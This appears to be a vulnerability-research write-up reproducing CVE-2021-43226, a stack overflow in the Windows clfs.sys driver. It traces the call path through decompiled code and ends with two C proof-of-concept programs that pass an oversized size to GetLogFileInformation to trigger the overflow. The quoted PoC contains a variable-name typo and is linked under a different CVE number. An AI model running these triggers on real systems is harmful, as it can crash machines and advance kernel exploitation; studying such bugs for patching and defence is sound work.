
a Proof of Concept of cve-2021-43226,stack overflow in Windows driver clfs.sys
Operating system: Win10 20H2 on Hyper-V, build 19042.508. Found a website https://os.click/en, which has a relatively complete collection of Windows images and no backdoor has been discovered yet.
Since the PoC I found was compiled with Visual Studio 2013, I also used Visual Studio 2013 with static linking.
The vulnerability is in the CClfsLogFcbVirtual::QueryLogFileInfo function inside clfs.sys
clfs.sys is described in Microsoft's documentation as:
The Common Log File System (CLFS) API provides a high-performance, general-purpose log file subsystem that dedicated client applications can use and multiple clients can share to optimize log access.
The first pointer of this function is a CClfsLogFcbVirtual* this. Comparing the code before and after the patch, an obvious difference is whether Size is set to 120 before the following code:
v11 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD, _QWORD, _DWORD, __int64 *, unsigned int *))(**((_QWORD **)this + 78) + 152i64))( *((_QWORD *)this + 78), a2, 0i64, 0i64, 0, Src, Size);
Among the other parameters called by this function, a2 is a FILE_OBJECT, Src is an array on the stack (IDA decompiles to __int64 Src[16]; // [rsp+60h] [rbp-C8h] BYREF), and the vulnerability is described as a stack overflow. It is speculated that a stack overflow occurs when Size is greater than 120.
One problem encountered is that it is impossible to directly view cross-references; this function is called via __guard_dispatch_icall_fptr. I am still in the process of determining the parameters passed during the function call.
(update): This function is called by either ClfsQueryLogFileInformation or CClfsRequest::LogFileInfo, which use the two APIs CreateLogFile and GetLogFileInformation respectively. Since the call chain for GetLogFileInformation is significantly shorter, that API was chosen to trigger the crash.
The last parameter passing step when calling GetLogFileInformation is as follows, inside the LogFileInfo function:
v10 = (*(__int64 (__fastcall **)(_QWORD, struct _FILE_OBJECT *, _QWORD))(**((_QWORD **)this + 18) + 240i64))(
*((_QWORD *)this + 18),
v14,
**(unsigned int **)(*((_QWORD *)this + 6) + 24i64));
Where v14 is a FileObject, and this is a CClfsRequest passed as a parameter to LogFileInfo.
Looking further at the function that calls LogFileInfo, it is CClfsRequest::Dispatch (specifically declared as __int64 fastcall CClfsRequest::Dispatch(CClfsRequest *this, PIRP Irp, struct _DEVICE_OBJECT *a3)). This function determines which specific function to call next via LowPart = CurrentStackLocation->Parameters.Read.ByteOffset.LowPart;, where CurrentStackLocation is a struct, struct _IO_STACK_LOCATION *CurrentStackLocation; // rdx passed as a parameter, and the assignment of this depends on the parameters passed from the upper function to this dispatch. So we look further up.
Next is the CClfsDispatchIoRequest function:
v7 = CClfsRequest::Dispatch(v4, Irp, a1);
a1 and Irp are the passed parameters; a1 is a DeviceObject, Irp is a PIRP type, i.e., a pointer to IRP (for IRP reference see https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/wdm/ns-wdm-_irp)
v4 is assigned as follows:
v6 = (CClfsRequest *)ExAllocateFromNPagedLookasideList((PNPAGED_LOOKASIDE_LIST)&CClfsRequest::m_laList);
if ( v6 )
v4 = CClfsRequest::CClfsRequest(v6);//v4 is an int64 type
Next, looking at the parameter passing, we reach the CClfsDriver::LogIoDispatch function, which directly passes its own received parameters to the CClfsDispatchIoRequest function.
One step further up is the nt!IofCallDriver function, whose declaration is:
NTSTATUS IofCallDriver( PDEVICE_OBJECT DeviceObject, __drv_aliasesMem PIRP Irp );
First, find the specific declaration and parameter meanings of the API.
GetLogFileInformation:
CLFSUSER_API BOOL GetLogFileInformation(
[in] HANDLE hLog,
[in, out] PCLFS_INFORMATION pinfoBuffer,
[in, out] PULONG cbBuffer
);
The parameters are defined as follows:
#include <stdio.h>
#include <wchar.h>
#include <Windows.h>
#include <windef.h>
#include <stdlib.h>
#include <clfsw32.h>
#include <clfs.h>
#pragma comment(lib,"clfsw32.lib")
int main(){
//create log file
wchar_t* logname = L"LOG:C:\\Users\\Public\\MyLog::Logstream";
HANDLE handle = CreateLogFile(logname, GENERIC_WRITE|GENERIC_READ, 0, NULL, OPEN_ALWAYS, 0);
if (handle == INVALID_HANDLE_VALUE){
printf("sad:(\n");
abort();
}
printf("create log file success\n");
//sizeof(CLS_INFORMATION) is 120 i.e. 0x78
CLFS_INFORMATION buffer;
ULONG t = 0x120;
BOOL ret_val = GetLogFileInformation(handle, &buffer, &t);
return 0;
}
Where the parameters of CreateLogFile and GetLogFileInformation are copied directly from Microsoft documentation (https://learn.microsoft.com/en-us/previous-versions/windows/desktop/clfs/creating-a-log-file).
However, I encountered a problem with logname. Initially, I basically followed the documentation:
For example: the path "LOG:c:\MyDirectory\MyLog" creates the file "c:\MyDirectory\MyLog.blf".
But found that this would directly create a log file named 'c' in the current directory, so I looked at the PoC (Others) and changed to the common Windows path format "LOG: C:\MyLog", but that still didn't work. Debugging revealed that it did not call CClfsLogFcbVirtual::QueryLogFileInfo but instead called CClfsLogFcbPhysical::QueryLogFileInfo, so I added a LogStreamName, and it worked.
Another minor issue is that when generating code in Visual Studio with static linking, if the line #pragma comment(lib,"clfsw32.lib") is missing, the linker will repeatedly report errors that CreateLogFile and GetLogFileInformation cannot be found.
(https://github.com/KaLendsi/CVE-2021-43224-POC)
#include <Windows.h>
#include <wchar.h>
#include <iostream>
#include <clfsw32.h>
#include <Clfsmgmtw32.h>
#pragma comment(lib, "clfsw32.lib")
int main() {
wchar_t szLogPath[] = L"LOG:C:\\Users\\Public\\MyLog::Stream1";
//wchar_t szLogPath[] = L"??\\LOG:\\HarddiskVolume0\\MyLog";
//wchar_t szLogPath[] = L"LOG:\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0\\Users\\Public\\MysssLog";
//\\\\?\\GLOBALROOT\\Device\\HarddiskVolume0
//SECURITY_ATTRIBUTES psaLogFile = {};
HANDLE hLog = CreateLogFile(szLogath, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ, NULL, OPEN_ALWAYS, NULL);
if (INVALID_HANDLE_VALUE == hLog)
{
printf("error=%d\n", GetLastError());
return 1;
}
if (!RegisterManageableLogClient(hLog, 0))
printf("error=%d\n", GetLastError());
printf("hLog=%p\n", hLog);
CLFS_INFORMATION pinfoBuffer = {};
//ULONG infoSize = sizeof(pinfoBuffer);
ULONG infoSize = 0x110;
// system("pause");
DWORD dwRet = GetLogFileInformation(hLog, &pinfoBuffer, &infoSize);
if (dwRet == NULL)
{
printf("error=%d\n", GetLastError());
return 1;
}
printf("dwRet=%08x\n", dwRet);
return 0;
}